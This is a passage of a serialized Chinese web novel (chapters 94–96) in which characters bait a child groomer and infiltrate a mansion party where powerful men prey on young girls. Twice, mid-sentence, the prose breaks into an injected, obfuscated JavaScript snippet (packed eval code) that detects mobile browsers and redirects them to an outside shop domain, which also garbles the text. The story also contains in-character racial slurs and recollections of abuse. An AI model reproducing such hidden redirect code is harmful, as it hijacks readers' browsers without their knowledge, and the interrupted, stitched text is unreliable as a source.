艾莉能透过这条短信听见布雷特·希尔病恹恹的嘶哑声音,看见他敲下这行字时从嘴角如涎水般淌出的轻笑。奇怪又自然的是,这一幕并不让她觉得恶心——那是一种诡谲的喜悦,朴实又具有致命的吸引力,那是只有在找到同类时才会出现的欣喜,只有终于回到了接纳自己,将一切不正常化为寻常的社会时才会有的放松。难道想要被理解,想要从令人无法喘气的枷锁中稍稍放松一会就如此不堪?艾莉听见自己的声音在脑海中响起。我又不可能去见布雷特·希尔,更何况,凭借这些聊天记录也能将他抓走——虽说内容没有任何涉及qin|色的部分,但怂恿一个声称只有十四岁的女孩自残,怎么也算虐待儿童罪。 我没有小瞧他,我没有沦陷,我完成了我本就该完成的事情——取得布雷特·希尔的信任,让他提出见面的邀请。 可她的手忍不住收起,屏幕的灯光一下子淹没在胸前,仿佛这样就能隔绝疏眠的眼神。 “艾莉,布雷特·希尔知道你一定会前去见他。 一只胳膊想要拉开她攥着手机,紧压在胸前的手,艾莉觉得自己分明没用力,但自己的手臂却纹丝不动。下一秒,另一只胳膊突然伸来,一下子抬起了她的脸。从她走进疏眠房间后的第一次起,艾莉的视线真正对上了对方的双眼,她能在那双黑栗色的眼珠中瞧见深切的担忧,像个有力又温暖的拥抱,突然将她搂入怀中。艾莉的手忽地松开,手机一下子跌落在地上,她下意识就想扑过去捡,疏眠阻止了她。 “这样太危险了,我们必须马上停止,艾莉。” 疏眠又重复了一遍这句话。 “是时候让Ming知道这一切了。” 94. Chapter·Forty One 云决明知道,在某一刻,他必须站出来。 在某一刻,他必须接过这个由艾莉创建的角色,亲自与布雷特·希尔对话。 布雷特知道这一点,他也知道这一点。 短信记录已经清楚表明,透过艾莉,布雷特是如何耐心地等待着这一天的到来,就像猎人欣赏着猎物精心为自己的准备的陷阱,每一根蛛丝的相互缠绕都诉说着一段故事,诉说着他们的过去。黎疏眠从短信中看出布雷特·希尔对艾莉势在必得,但云决明能看出更多,就像艾莉以为用真实的自我与布雷特·希尔对话就已经足够,却不知道对方能看出更多。他知道自己能在终点找到谁,知道艾莉的接近意味着谁终于从那牢不可破的茧当中走了出来,因此明知道是陷阱也欣然走入。云决明从未参与过这一个多月发生在艾莉与布雷特·希尔之间的对话,但这无伤大雅,这个计划是他想出来的,艾莉是在他的协助下走出心魔的,他被艾莉视为好友,他们一同经历了许多事情。“这就像是狩猎,云,这就是心理学的迷人之处,”布雷特·希尔这么说过,“想要知道how the mind work,我们就得像猎人一样,从思绪最后停留的地方开始,一点点追踪它走过的踪迹。更有意思的是,在这个过程中,如果有任何人人为地改变了踪迹的走向,这个人留下的痕迹也同样能被发现。” 艾莉藏在YasmineJ2002下面,14岁的艾莉藏在键盘后的艾莉下面,云决明站在14岁的艾莉身后。伤疤的中断,突然开始的美妆博主事业,TAA的宣告,骤然而有预谋的接近,他就像一个不戴手套的拙劣犯罪者,在现场留下了数不清的指纹,脚印,还有毛发。而布雷特·希尔在陷阱中信步闲庭,他的手指划过那些云决明亲手编织,亲手写下的脉络,好似通过一面模糊,扭曲的镜子窥见了那个牢不可破的茧是如何裂开一丝缝隙,云决明如何像一只搁浅的海豚,一艘耗尽燃油而被迫降落的宇宙飞船般被冲上岸礁,气孔中突然喷出的水雾,炉膛中灰烬里隐隐又燃起的焰火,蹒跚从乌鸦尸体中站起——数不清的一幕幕恍如藏在老旧泛尘的倒闭旧货店中的录像带,而布雷特·希尔则像识货的淘宝者一般,不动声色地从艾莉的句子中挖出,她的依赖犹如已经老眼昏花的拍卖者,让布雷特·希尔几乎是以免费的价格带走了战利品,并在他办公室里那张舒适深陷的扶手椅上津津有味地看完了全程。 我等待这一天已经很久了,云。云决明的手指划过屏幕,一条条信息飞快上升,布雷特·希尔喑哑的声音嘶嘶地在对话框与对话框之间的罅隙中窃窃私语,兴奋按捺不住地从他发给艾莉的字句中溢出,仿佛他此刻就站在云决明身后,满足地深深呼吸着眼前这个男孩的味道。云决明从未想过在那次侵犯结束过后他脸上是什么表情,因为自己当时头也不回地走出了办公室,那种满足和喜悦是共通的吗?人们找回失而复得的东西,与终于得以买下自己梦寐以求的物品时的满足和喜悦是共通的吗?云决明知道自己不该去思考这种问题,他强迫自己的视线停在最后一条布雷特·希尔发来的信息上,冰冷的旧金山字体让每个字母都按照苹果喜欢的秩序感排列得整整齐齐。很高兴终于能与你见面了,我的小鸟。 不,布雷特·希尔不是在称呼艾莉。云决明记得他站在自己身旁,靠着办公桌时露出的笑容,他垂下的手指不经意地滑过自己的胳膊。云,意味着Cloud是吗?多美的名字。我想象你就像一只受伤的小鸟,从云端落入了我的办公室。说这句话时他还做了飞鸟的手势,嘴里发出咻咻的声音。我们会想办法养好你的翅膀的,好吗,云? 他是在对自己说话。他想见的是自己,只有去的是自己,他才会真正现身。 “我们不能肯定这一点,Ming,”黎疏眠的声音遥遥传来,云决明相信她是唯一能冷静接受这一点的人,艾登会用尽一切代价阻止他前去见布雷特·希尔,“事实上,你说的一切我们都不能肯定。我们不能肯定布雷特·希尔真的猜到了一切都是你的策划,他仍然有可能认为艾莉就是他找到的猎物——毕竟这么多年他一直在用相同的方式狩猎女孩。我认为我们还是按照原计划,让我去会更好。” “你确实要去。”云决明的声音不带任何感情的响起,“你不能肯定这一点,布雷特·希尔也同样不能肯定这一点。这个世界上没有百分之一百正确的心理学原理,总有人会是规则外的例外。布雷特·希尔会给出货真价实的派对的时间和地点,但他并不一定会在现场。” “那艾莉怎么办?” “她会没事的。布雷特·希尔擅长的是让自己成为别人的心瘾。唯一戒断的方式就是切断与他的来往。”云决明吞下了后半句没有说下去。一旦形成心瘾,势必总要有一个人填补空缺,不是布雷特·希尔,就得是其他人。这就是为什么他切断了秦诗与他的一切往来,但现在让黎疏眠知道也无济于事,只会平添她的担忧,反而让布雷特·希尔嗅到不对。“艾莉很坚强,切断了与布雷特·希尔的往来以后,她有你,她会逐渐摆脱那种依赖感的。” “难道一切还如同原计划一般进行?”黎疏眠不敢置信地反问了一句。他们的原计划是在派对上用藏在胸针里的微型摄像头和录音机拍摄下布雷特·希尔诱骗未成年少女并在派对上性侵她们的证据——当然不会让布雷特·希尔真的得逞,只要能让他被逮捕,这个世界上不缺充满正义感,不会被收买也绝不会妥协的检察官,那么布雷特·希尔与杰森父亲的关系很容易便能查出,一条线索牵扯出另一条,便不愁查出这几个人在艾登父亲的谋杀案,小本杰明父亲的失踪案,约州不同寻常的少数族裔谋杀率中扮演了怎样的角色,进而最终找出那个藏在幕后的连环杀手。 云决明深深地看了黎疏眠一眼,还不到时候,他心里有个声音悄悄地说道。从艾登走进他的房间,询问是否要把布雷特·希尔作为突破点的那一刻起,他就知道会有这一天的到来,他用尽了全身心的气力去为这一天做准备,他动用了自己在心理学上的所有天赋——假设他有的话,他设想了布雷特·希尔会走的每一步,包括成为艾莉的心魔,但他知道不付出代价布雷特·希尔是不会上钩的,就像若非知道陷阱的另一头等着的自己,布雷特·希尔绝不会如此轻易走入一般。他别无他人能相信,任何人都有可能被布雷特·希尔看穿,看穿他在他们思绪中留下的印记和脚印。还不到时候,云决明,还不到时候。 “是的。”他垂下了双眼,“不要把艾莉的真实情况告诉艾登,”他或许会因此不原谅自己,云决明苦涩地想着,但世界上万事万物都有其代价,如果害怕危险,如果害怕受伤,如果害怕平静的生活被打碎,那么从一开始任何人都不该参与这场游戏,“一切按照原计划进行,你去参加这场派对。只不过你不必扮演艾莉扮演的角色,布雷特·希尔很清楚Yasmine2002并不是真实的,他给艾莉发那个派对的地址就证明了这一点,毕竟一个14岁的女孩是不可能开车也不可能自己搭Uber去陌生地点的。只要装作自己是布雷特·希尔惯常会从网络上诱骗而来的那类女孩就好,我敢保证,不会有任何人确认你的身份,也不会有任何人拦着你,只是——” 他控制住自己颤抖的嗓音,抬起头来看着黎疏眠。 “小心点。” * 派对并不像黎疏眠想象中的,在高级连锁酒店的酒廊中举行。布雷特·希尔发来的短信指向一座豪宅,在Zillow上的历史售价为一千四百万美金。她没有请帖,没有任何证明她受到了这间豪宅的主人或者派对相关人员的邀请——假如布雷特·希尔的短信也能算的话,但是守在门口的保安没有对她和她丝毫不起眼的代步车做出任何阻拦,只是打手势示意她开进去后该往哪边转。黎疏眠的低胸礼服裙上的钻石胸针忠实地记录下了这一切,她希望这在法庭上能说服陪审团相信这是因为已经有了太多陌生的女孩兴奋地开车前来这座豪宅参加所谓的“派对,”因此保安已经被告知不要拦截任何看起来像是这类少女的来客。 入口后紧随着的是一条幽静蜿蜒的小路,树木遮盖了远处的大宅,即便连影影绰绰的一砖半瓦也瞧不真切。黎疏眠收回了寻找房屋的视线,思绪却禁不住回到了她去找云决明商讨艾莉事宜的那个下午,她特意挑选艾登不在家的时段,讲述艾莉的遭遇时一直克制而平静,然而她下车时“砰”地一声关上车门,让受过专业训练的洛克希都禁不住低呜了几句的巨响却泄露了她深埋的怒意。 然而,云决明出乎意料地平静,似乎丝毫不惊讶艾莉会对布雷特·希尔产生如此病态的依赖,他听完了叙述,看完了短信,却仍然决定按照原计划行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041271|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事是最好的选择。说实话,即便到那一刻黎疏眠也没有怀疑过云决明对布雷特·希尔的了解,没有怀疑过他对这个变态的心理的判断,也没有怀疑他的决定。但最后云决明望向她的眼神,却让她觉得事情并没有那么简单。云决明自己也在计划着什么,她可以肯定这一点,也可以肯定不管自己怎么努力,他都不会把这个计划的细节告诉自己。黎疏眠只祈祷,在她对艾登隐瞒了艾莉现在的精神状况,隐瞒了现有的调查进度,还隐瞒了云决明的隐瞒,独自前来参加这个充斥着对未成年少女蠢蠢欲动的男人的派对以后,她还能全须全尾地回去面对艾登的怒火。 小路的终点等着穿着黑西装,戴着白手套的泊车人员,他们先向黎疏眠的车子鞠躬,再直起身子示意黎疏眠把车停下,“我们会帮您把车停好,”其中一个恭恭敬敬地说道,就像接待的是什么贵客,黎疏眠知道这样的待遇肯定是主办人特意嘱咐过的,目的就是要让那些前来参加派对的未经世事的女孩飘飘然起来,“请您下车后往这边走,入口就在不远处。” “不用了,我可以自己停车。”黎疏眠原本想要通过胸针上的摄像头记录下所有来宾的车牌号码,如此便能调查出来来参加这个派对的都有哪些要人。 为首的两个泊车人员交换了一下眼神,“停车场距离宅子入口很远呢,小姐,”其中一个立刻露出了亲切的笑容,伸手打开了黎疏眠的车门,做出了一个“请”的手势,“恐怕我们承担不起让来客累着这个责任。您放心,我们会好好照顾您的爱车,绝不会让它有任何一丝划痕——更何况,开了这么久的车,想必您也已经劳累了,宅子里提供自助餐,SPA,还有按摩服务,您何不现在就进去享受呢?” “你怎么知道我开了很久的车?”黎疏眠没有解开安全带,更没有熄火的意思。她扬起了修得整整齐齐的一边眉毛,反问道。 两个泊车人员都语塞了,露出了极为尴尬复杂的神色。电光火石之间,黎疏眠已经意识到了背后的原因,保安没有拦着自己不代表他没有记录下自己的信息,这辆车是艾莉为了这次行动用现金买下的二手车,它仍然登记在原来的主人——一个高中辍学的未婚妈妈——名下,而她居住在约州南部,开车上来要三个多小时。想必,就在她从入口开到这儿的短短几分钟里,这些信息都已经被调查清楚,送到了这些泊车人员的手里,这才导致他们无意识中泄露了这一点。实际上,从黎疏眠住的地方开到这儿,只要半个多小时,根本算不上远。 沉默了好几秒种,其中一个泊车人员才清清嗓子,勉强挤出一个笑容,“我们猜测的,女士,但这并不重要不是吗?不管您开了多久,重要的是您现在可以休息了,我能向您保证您能在宅子里得到最好的照顾,那么,您为什么不让我们做我们的工作,帮你把车子——” 一阵由远及近的油门轰鸣声打断了他的话语,黎疏眠向后视镜看去的时候,驶来的那辆车已经伴随着一声刺耳的急刹声,以恐怕只能塞得下两根手指的距离在她车后停了下来,在她的后视镜里只留下了一道反光严重的前挡风玻璃景象。黎疏眠知道无论自己怎么坚持,这些泊车人员是绝不会让自己亲自开车前往停车场的,便决定放弃这个尝试——更何况,现在出去,还能看看后车的主人是谁,那嚣张的油门轰鸣让黎疏眠猜想那必然是辆昂贵的跑车,要是她能拍下本地参议院的儿子或者是什么有影响力的人前来参加这个派对,那便又多了一分能给这些无情性剥削少女的罪犯定罪的机会。 她听见了车门“砰”地一声关上的声音,便也适时地松开安全带——其中一个泊车人员已经殷勤地去迎接后来的客人了,而留下为她拉着门的男人明显松了一口气——从车里站起了身,一转头,她便与一张熟悉不已的面孔撞上了视线,一声惊呼硬生生地卡在她的喉咙,差点没蹦出去,好在黎疏眠在千分之一秒的时间内便冷静下来,及时地向对方送去了一个“不要”的眼神,于是她也瞧见一声惊呼“黎——”硬生生地被半截咽了下去,留下一个扭曲至极的表情。 “埃弗里先生,您认识这位女士?”泊车人员察觉了不对。 “哦,不,”杰森阴沉着脸色回答道,将他那辆宝蓝色保时捷跑车的钥匙粗暴地塞进了对方的手里,“只是惊讶于主办方居然会邀请一个Chink过来,仅此而已罢了。” 95. Chapter·Forty Two 杰森·埃弗里站在蜿蜿蜒蜒的花园小径的一个拐角处,等待着黎疏眠。 在听见她的高跟鞋在石子路上踩出沙沙的回响的几秒钟前,他仿佛一个极力想要崭露头角的模特一般,在短短的时间里变换了数百个姿势,想让自己看起来随意一些。抽烟,不抽烟,黎疏眠不会喜欢烟味的,我为什么要在乎那个臭女人喜不喜欢?他一边把烟盒塞回内袋里,一边恨恨地想着。插袋,不插袋,我看起来就像那些中产阶级出身,穿着off the rack正装,笨拙地想要学会打马球的男孩。别再继续丢人了!他自己的声音懊恼地在脑海中回响。杰森用力扯了扯自己的领带,意识到自己还没来得及去思考为什么黎疏眠会在这儿。 肯定不是那些应召女郎,他可以肯定。要是这个女人有那么一丝可能性会去当应召女郎,他此刻也不必如同一个从没约会过的高中生一般,在灌木丛前手足无措。该死的?难道我真的表现得像个从来没约会过的高中生? 没等他去考虑一下他的脸颊是否已经涨得通红,把一切心思都昭然若揭般写在脸上,黎疏眠就已经绕过了那一大丛月季花,站在了他面前,她是如此美丽,让人目眩神迷,黑色绸缎勾勒出浓纤合度的身材,修剪干净的指甲扣在漆皮上,一串珍珠从领边倾斜。他们的距离是如此之近,仿佛只要他退后两步,某种幻觉,某种他幻想过无数次的情形就能在这此刻实现。某种郊区式的生活,一栋西班牙殖民风格的小楼,从门后冲出来把自己扑倒的孩子,黎疏眠伸手将绒毛从他外套上拂去,他大笑着将他拥入怀中。她眼里会有某种暖意,不似此刻的平静冷漠,那是他渴求了一生也不曾得到过的事物,夹在无穷无尽可供挥霍的财富,五光十色尽情享乐的青少年华之间,似乎无足轻重。 “杰森,”她温柔的语气却像凌厉的闪电,瞬间照亮了现实世界,将他拖回了约州的春末,“刚才没来得及跟你好好打招呼呢。” 他知道自己此刻应该轻蔑地说,我跟你没什么好打招呼的,Chink。可他只是僵硬地移开了视线,对脚尖上飞走的一只瓢虫轻声道,“你在这里做什么。” 黎疏眠用一种仿佛在给牛肉估计级别的眼神打量着他,闻言微笑了起来。“我觉得你更适合回答这个问题,”她说道,“我猜这不是你第一次出席这样的场合了。” 话还没说完,她已经非常自然地上前了一步,伸手挽住了他的胳膊,信步闲庭地向前走去。杰森骇然一惊,想要挣脱开她的手,但僵硬的胳膊却不听使唤。一阵阵若有若无的香味从黎疏眠的发间传来,那气味从他上千个毛孔中钻入,与他本能地想要与一个低jian的亚裔撇清关系的下意识反应抗衡着。恍若一个虔诚的信徒,提着染满圣战鲜血的长剑杀进异教的神殿,却发现深处供奉的是同一个十字架。就在这一刹那,他听见了身后传来的轻微的脚步声,才反应过来,黎疏眠只是不想让后来的客人察觉端倪。 一碰上她,他的脑子回路仿佛就会以一种全新的方式组装起来,让他无法正常思考,无法正常的做出反应,甚至无法正常地说话。杰森回头看了一眼来路,只看见刹那一抹黑色从灌木丛上方掠过,没有人在他们身后,更不是他熟识的那些在约州有头有脸的政客和商流,他松了一口气,知道自己应该挣脱开黎疏眠,然后能有多快地把她送走,就让人有多快地把她带走。她不该待在这里,她不适合这里。 然而她指尖的温度正以难以置信的速度扩散到他的全身,他好似在木匠桌上雕刻出的玩偶,只在这一刻才最终被这灼热赋予了生命。他直到此时才明白自己有多么思念她,有多么渴求能看到她,有多么希望她能存在于自己的生命中。周遭的一切,无趣的大理石雕像,精心修剪过的花丛,从远处的湖泊上缓缓游过的天鹅,空气中弥漫着的青草才被割过的气味,都因为她染上了甜蜜而饱满的色彩,紧紧拥抱着他。在这短短的一刹那间,他与黎疏眠共享着一个秘密,尽管他对这个秘密一无所知,却不妨碍他成为保密者的一员,只要他顺从着她走下去,只要他配合她,就能把这秘密的时刻无限延续下去。他知道她会来到这里肯定是有原因的,就像她说的,这已经不是他第一次参加了。 “你需要我做什么?” 没有经过任何思考,这句话就直接从他嘴里飞了出来,恍若想要挣脱牢笼的小鸟,一头栽入自由。黎疏眠惊讶地瞥了他一眼,好似第一次觉得他算是个人类——此时他们已经来到了主宅前的一大片草坪上,一眼望去看不到边的绿地上零星散落着身着华服的宾客。人造湖泊在阳光下泛起鳞次栉比的粼光,一直染到云际。穿着燕尾服,身姿笔挺的服务员端着小食与香槟走来走去,等待着隐晦的眼神召唤——杰森用尽自己自尊最后剩下的几分骄傲,没有回应她的眼神,却不由自主地感到阵阵酸涩从肠胃中涌上。 他当然知道自己这么做的风险是什么,他的毒瘾就是上次他想窥探一些秘密,想做一些正义的事情时的代价。你帮了她,她也不会记着你的好的,更不会因此对你产生什么好感。他警告自己,却又清楚这些话语毫无威慑力,至少在那截挽着自己的纤细胳膊面前没有任何威慑力。我是谁?他自嘲般地笑了起来,我是杰森·埃弗里,无可救药的毒虫,种族主义者,纨绔子弟,还如艾登所说,彻头彻尾的烂人,只会辜负自己深爱的球队和最好的朋友。做点好事不能在衡量他罪行的天秤另一头增加砝码,也无法改变他将要下地狱的命运布线,他仅仅只是想让这一刻持续下去,犹如天色将明的清晨,知道闹钟即将响起的那几秒前,全心全意地抓住梦境的最后一丝余韵。 “你可以先告诉我,这是谁的派对。”黎疏眠压低了声音,杰森正领着她往主宅的入口走去。 “这是一个很难回答的问题,这栋房子表面上的拥有者是汤姆·巴拉克,但是使用权并不在他手上,而在理查德·科迪的手上。”杰森轻声回答道,理查德·科迪这个名字一出,他为何会来到这儿参加派对的原因也不言而喻,理查德·科迪是约州的上任州长,如今卸任,但仍然是约州参议院的领袖,他与杰森父亲的关系匪浅。许多在约州土生土长,或是居住已久的人,或多或少都知道理查德·科迪能有今天的成就,与科尔·杰弗里脱离不开关系。从黎疏眠明了的眼神来看,她也清楚这一点,“理查德·科尔会用这栋宅子为很多人举办派对,今天这场,是为了爱泼斯坦举办的,他最近在躲避纽约上诉的一场官司,因此就住在这儿避风头。” 黎疏眠的眉头轻皱了一下,“理查德·科迪在为爱泼斯坦供应年轻的猎物?” 她的话带回了一些回忆的闪现,酒醉后的恍惚,走廊深处若有若无的惨叫,那个13岁女孩从沙发靠背处倒挂着注视着他那双毫无神采的眼睛,从地毯蔓延的血迹,踩碎的手机,被捂着从鼻孔硬灌下去的粉末,天旋地转下喷出的呕吐物——别想了,杰森,别想了,别想了别想了别想了别想了别想了别想了,专注在眼下这一刻,关上柜门,锁上钥眼,让一切沉入黑暗。“我没有这么说过。”杰森深吸了一口气,闭上了眼睛几秒才睁开,阳光在细砂石路上的反光突然变得炫目不已。你得提防,始终要提防,他从小到大接受的教育突然在此刻苏醒,要是她身上带着录音机呢?“我只是在回答你的问题。” 黎疏眠沉默了,他们踏上了台阶,远远地也能感觉到从室内汹涌而出的冷气。杰森祈祷不要在大厅遇到任何他认识的人,或者是任何能认出他的人。玩世不恭的富家公子带着自己的女伴参加这样的派对并不是什么稀奇事,但他是杰森,杰森·杰弗里,出了名的雅利安爱好者,从来没跟一个需要补染发根的金发女生约会过的杰森·杰弗里,他们会发现黎疏眠之于他是特别的,是独一无二的,是比起全世界纯度最高的drug还能对他有更深远影响的存在。杰森不能让这样的事情发生。 “我会选择来到这里,杰森。”高跟鞋发出清脆的回响,好像是为黎疏眠的话语伴奏,老天,就连她那轻微的口音也是如此可爱,他能就这样听她说上一整天的话,“就证明我已经大概知道这儿在发生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041272|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,就证明我知道来到这里是会有危险的,但我必须弄清楚事情的真相,你说的一切都不会在法庭上用于针对你,杰森。但如果——我的意思是说,如果你想做点好事——我知道,这个理由几乎没有任何说服力,但是,该死的,杰森,这对艾登来说非常重要,如果你跟他之间的友谊对你来说还有哪怕那么一点意义的话,你能为了他——” “这对你来说也很重要吗?”杰森打断了她的话,去他妈的艾登,要是他在乎自己有自己在乎他的十分之一—— 黎疏眠迟疑了一下,这是从他们在停车场相遇开始,她的视线第一次与杰森对上——后者几乎要忍不住颤抖起来——他能清清楚楚地看见那黑色眼眸里的坚定和勇气,那是黎疏眠的一部分,就像此刻他感受到的压在他胳膊上的重量,就像他此刻能嗅到的香气,就像他第一次意识到自己的感情,在商场里看到的那个光彩照人的她。她打破了所有他从小到大被言传身教的关于女人的一切印象,但他又太深知男人的低劣,因此不愿用以与她相比。对他来说,黎疏眠就是黎疏眠,不是女人,也不是比男人更男人的女人,仅仅就是黎疏眠,如同圣经中没有性别的米迦勒大天使,勇气与圣洁的化身。 “是的,这对我来说也很重要。” 那他还有什么好顾虑的呢? 杰森微微笑了笑。 没有了橄榄球队,没有了艾登,没有了他引以为傲的运动员的身材和体质,如今他又有什么好失去的?好像忽地被某种神谕点化一样,杰森倏然想通了这一点。或者不如说,这个想法其实在与艾登打了一架后就存在他脑海中,只是等待着一个合适的机会苏醒。迟早有一天他会死于overdose,这是他父亲默许的,杰森在他眼中就是一枚没用了的棋子,不能再给他带来更多利益。他还有别的兄弟,能够进入政界,能够得到认同,能够有所作为。你得正确挑选母马,不然再好的种公也没有办法带来冠军后代。他清楚地记得父亲第一次带他去骑马的时候说出的这番话,父亲薄薄的嘴唇抿起来,冷冷地看着他,那一刻,只有六岁的杰森浑身发冷,他至今记得当时那种将要吐出来却又不得不将胃酸吞咽下去的灼烧感,他的生母是个大学都没读完的侍应生,拿了钱,把他的抚养权完全放弃后就消失了。不是精心挑选的母马。 “是的,理查德·科迪在为爱泼斯坦供应年轻的猎物。”他说道,即便将来有一天这段录音在法庭上播出了又如何。让那群贪婪吸血,下三滥贱的蛆虫们知道杰森也可以grow a pair,让他的父亲知道杰森也有能真正做点什么,be a real man的时候,“但不只是爱泼斯坦,还有别人,但凡是你能叫出来名字的,三角洲范围内的政客——” “告诉我他们狩猎的模式。”黎疏眠急切地问道。 他们走进了大厅,里面到处坐着只穿着泳装的年轻少女,她们恍然不知自己来到了什么地方,兴许只以为这是认识上流人士的好机会,又以为这是自己赚一大笔钱的机会。“看到那边那个黑发女人了吗?那是歌西莱恩。”杰森侧过身子,搂住黎疏眠的肩膀,表面看来,旁人只会以为他正在与自己的女伴亲密地说话,实际上他是在隔绝歌西莱恩的视线,免得她瞧见黎疏眠,也免得她瞧见自己,“会出现在这里的都是已经成年了的,供普通宾客——比如说一些能为约州的税收做贡献的商界名流——挑选的女孩。从法律角度来说是绝对合法的。偶尔,歌西莱恩会从里面挑选一些女孩,通常是有人指定了的,送到楼上去。” “楼上是什么地方?” 杰森只去过楼上一次,但只有一次也足以毁掉他的一生,他摇了摇头,“我听说有‘楼上’的存在也是听来这儿参加派对的女孩子说的,”是的,他就不应该多管闲事,听到她们说有个13岁的女孩被带走了便想去看看,“不是谁都能上去的——至少我就不能去。” “你说——被那个叫歌西莱恩的女人指定了,就能到楼上去?” 黎疏眠若有所思地问道。 96. Chapter·Forty-Three 别去。 疏眠,不要去。 杰森只是张开了口,却没能说出这句话。歌西莱恩怎么会看不中她?仅仅只是站在这里,黎疏眠已经引起了不少人的侧目,更何况,杰森知道有许多这间屋子的常客都喜欢亚裔女孩,娇小,柔嫩,紧窄,羞涩,温柔,宁静,像有体温却不会反抗也不会思考的充气娃娃。他看见过他们搂着那些黑发黑眸的女孩大笑着走过昂贵的大理石拼成的花纹砖,手紧紧扣在纤细的腰间,指尖向上摩挲,那些女孩就如同贵妇手中只有巴掌般大的马尔济斯,水汪汪的眼睛无所适从地望着眼前觥筹交错的一切,肩膀微微发抖,被领着到处展示。那一刻,白人特权恍若从权杖顶端滚落的水晶球,旋转着炸开,每一个飞溅的原子都代表着一分被满足的傲慢。这就是为什么他们不要征召女郎吗?杰森恍惚间意识到了这一点,他偶然听老约翰·范德普说起过——那还是在他活着的时候,好几年前了——“给钱的算不上有趣,什么都见识过了,就什么都知道应付了,”老约翰·范德普当时悠悠地这么告诉他的儿子,严格来说是在场那些背景都非富即贵的兄弟会成员们,引起了一阵心照不宣的大笑。杰森是被他的哥哥带去的,而艾登则完全没有出席这类派对的资格,“真实的反应才有趣,像这样——”他随手一抓,紧紧掐住路过的一个女侍应生的脖子,对方惊叫一声,托盘打翻在地,水晶酒杯碎了一地,残余的红酒泼洒在有百年历史的木地板上。当时那呛咳喘息,求饶眼神,死死抓着沙发不让自己跪倒在一地玻璃渣上的青筋毕露,在杰森看来是如此真实,却只换回老约翰·范德普轻蔑一笑,“一点意思都没有。” 要如何才算有意思?黎疏眠是真实的,可她也同样是火,会灼伤任何试图触碰她的不怀好意的双手。如果歌西莱恩把她带走,把她带到楼上,她难道会任由在那等着的肥头大耳的男人对她为所欲为?她要委身到什么程度才能达到她的目的?才能得知她来此寻求的真相,难道她果真愿意为了——光是这个念头就已如烈火般灼烧他的心,一瞬间,才痊愈没多久的颊骨似又在隐隐作痛——艾登,去做到这一步? 不对。杰森倏然意识到。 艾登何时在乎过这些?确实,考虑到维尔兰德家的财力和地位,再加上艾登的爷爷娶了一个Chink,艾登确实从出生起就与东海岸的老钱后裔圈子无缘,但他并非没有耳闻这些纨绔子弟是如何享乐的,并非没有听说过爱泼斯坦,歌西莱恩,还有那个由权力和血缘千丝万缕织成的圈子是如何运作的。他在乎的,从头至尾,除了那个中国男孩,就只剩下…… 就只剩下,艾登父亲的谋杀案。 搂在黎疏眠肩膀上的手指猛然收紧,胃中翻江倒海地涌起令人作呕的酸气,为什么她会认为这里有与艾登父亲谋杀案相关的线索?或者,不如说,艾登父亲的谋杀不是早就结案了吗? 他记得那是很闷热的一天,乌云密布,却有沉沉的热浪从地面翻涌而起,让人感觉难以呼吸。继母——那是第几任来着?把他与艾登送到训练场的时候,还嘱咐过他不要训练得太狠,免得中暑。这么说来,她应该是老头子的第二任,艾琳娜,唯一对他展现过一丝爱意的那一个,之后的每一个都比之前的更加年轻,更加可笑,对照顾孩子没有任何的兴趣,他也不想要她们为了从老头子那里得到更多的钱而假惺惺地表露出来的关切。 后来果然有人中暑了,训练不得不提前中止。他在学校等待家里的司机过来接他时瞧见了艾登,抓着书包和训练服,开心地冲向那辆停在路边的本田SUV,豪华和舒适都远远及不上家里那将要来接他的宾利,但杰森知道自己愿意给出一切,所有那时候十岁的他所能给出的一切,去换取一次兴高采烈,满心期盼地冲向家里人的机会。 哪怕只有一次也好。他心想。 不对,为什么是司机来接?杰森竭力回忆着,从已经腐朽生锈的记忆中寻找着能回答自己问题的答案。是了,艾琳娜要参加老头子的晚餐宴会,他想起回到家中时遇到的来来去去的宴会食品供应商,打着领结的侍应生,还有核对着红酒数目的职员。“这是为了答谢那些为爸爸的升职出了一份力的叔叔们举办的,”他回自己的房间时,听见正为二哥整理领带的大哥的声音从他卧室中传出,“总有一天你也要学着像我这般跟着父亲去接待他们。要知道,他们随口一句话,就能把你送进任何你想去的学校。” 轮到杰森时,这关系似乎哑火了一般。只有父亲冷冷地说了一句,“你那么喜欢橄榄球,去U大也不错。”于是,没有SAT成绩,没有好看的标化,没有申请文书,杰森甚至连申请系统长什么样都不知道,只知道Labor Day的第二天他要去学校报道,就这么稀里糊涂成了U大的学生。 或许一切都是那一刻开始的,他不是那个需要穿上笔挺的晚餐礼服,跟在父亲身旁长袖善舞的孩子,即便当时他已是自己如今的这个年龄,大哥也不会走进他的房间,一边为他整理领结,一边细细叮嘱他。这个道理十年前他就已经心知肚明,却仍然忍不住在一束接一束的车灯从密实的窗帘缝隙后滑过时,溜去了二楼的起居室,从栏杆那儿偷看挑空的前廊,看平时那些经常能在报纸和电视上看到的脸庞给予父亲一个结实有力的握手,露出彼此心照不宣的微笑,再钻进已经等在门前的豪车里—— 艾登爸爸的消息就是那时候传来的。 可他怎么能确信这一点?他当时怎么可能知道出了什么事?杰森只记得自己看见家里的帮佣皱着眉头从书房中走出,将家里的电话递给了父亲,父亲一开始还说了什么,估计是因为他正要送一名客人走,便拒绝了听电话,但最终他还是接过了。 